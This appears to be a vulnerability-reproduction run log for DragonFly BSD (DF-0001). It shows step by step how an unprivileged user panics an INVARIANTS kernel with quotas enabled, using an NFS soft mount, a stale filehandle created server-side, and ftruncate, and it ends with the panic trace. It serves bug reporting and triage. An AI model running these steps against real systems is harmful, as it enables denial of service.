DF-0001 / run.log
=====================================================================
DF-0001 โ DECISIVE RUN LOG (confirmation from a fresh vm.sh reset)
=====================================================================
Guest: DragonFly dfbsd 6.5-DEVELOPMENT #1 .../sys/X86_64_GENERIC x86_64
Kernel build: X86_64_GENERIC (options INVARIANTS present -> KASSERT live)
Precondition: vfs.quota_enabled=1 (set via /boot/loader.conf tunable,
CTLFLAG_RD sysctl, requires reboot; default is 0)
---------------------------------------------------------------------
STEP 0 โ confirm preconditions on the running kernel
---------------------------------------------------------------------
$ sysctl vfs.quota_enabled
vfs.quota_enabled: 1
$ strings /boot/kernel/kernel | grep "VOP_GETATTR didn't return 0"
kern_truncate(): VOP_GETATTR didn't return 0
kern_ftruncate(): VOP_GETATTR didn't return 0
(-> INVARIANTS compiled in: both KASSERT panic strings present in binary)
---------------------------------------------------------------------
STEP 1 โ loopback NFS server (soft mount, attribute cache disabled)
---------------------------------------------------------------------
# /etc/exports:
/export -maproot=root -network 127.0.0.0 -mask 255.0.0.0
# rpcbind; mountd; nfsd -t -u -n 4
# mount_nfs -U -s -x 1 -t 1 \
# -o acregmin=0,acregmax=0,acdirmin=0,acdirmax=0 127.0.0.1:/export /mnt
# dd if=/dev/zero of=/export/estale_target bs=4096 count=1 (created on SERVER)
# chown maxx:maxx /export/estale_target
$ ls -l /mnt/estale_target
-rw-r--r-- 1 maxx maxx 4096 Jul 1 23:54 /mnt/estale_target
---------------------------------------------------------------------
STEP 2 โ launch estale_trig as UNPRIVILEGED user maxx (uid 1001, not in wheel)
---------------------------------------------------------------------
$ cd poc/DF-0001 && nohup ./estale_trig /mnt/estale_target > /tmp/estale3.out 2>&1 &
$ cat /tmp/estale3.out
READY fd=3 path=/mnt/estale_target -- invalidate server-side handle now
(process has opened an fd; fd holds a fixed vnode/filehandle; now sleeping 8s)
---------------------------------------------------------------------
STEP 3 โ invalidate the fd's filehandle SERVER-SIDE (file deleted+recreated)
---------------------------------------------------------------------
# rm -f /export/estale_target; sync
# touch /export/estale_target; chown maxx:maxx /export/estale_target
# (the client's open fd now references a STALE filehandle; server still UP)
---------------------------------------------------------------------
STEP 4 โ process wakes (~8s): fstat()+ftruncate() issue GETATTR on stale FH
---------------------------------------------------------------------
[t+12s] status=up (process still in 8s sleep)
[t+16s] status=up (fstat/ftruncate running: VOP_GETATTR_FP -> NFS GETATTR RPC
-> server returns NFSERR_STALE -> nfs_getattr returns ESTALE
-> kern_ftruncate KASSERT(error==0) fires)
[t+20s] status=down >>> KERNEL PANIC โ ssh dead <<<
---------------------------------------------------------------------
STEP 5 โ panic signature from serial console (dfbsd-qemu/boot.log)
---------------------------------------------------------------------
panic: kern_ftruncate(): VOP_GETATTR didn't return 0
cpuid = 0
Trace beginning at frame 0xfffff800ab79f798
kern_ftruncate() at kern_ftruncate+0x152 0xffffffff80705532
kern_ftruncate() at kern_ftruncate+0x152 0xffffffff80705532
sys_xsyscall() at sys_xsyscall+0x89 0xffffffff80bd6749
syscall2() at syscall2+0x11e 0xffffffff80bd611e
Debugger("panic")
CPU0 stopping CPUs: 0x00000002
stopped
Stopped at Debugger+0x7c: movb $0,0xbd77f9(%rip)
db>
=====================================================================
RESULT: REPRODUCED. KASSERT at sys/kern/vfs_syscalls.c:4113 fires as a
kernel panic, deterministic across two independent runs (initial + fresh-reset
confirmation), triggered by an unprivileged user (maxx, uid 1001) via
ftruncate(2) once VOP_GETATTR returns a nonzero error (ESTALE) under
vfs_quota_enabled=1 on an INVARIANTS kernel.
=====================================================================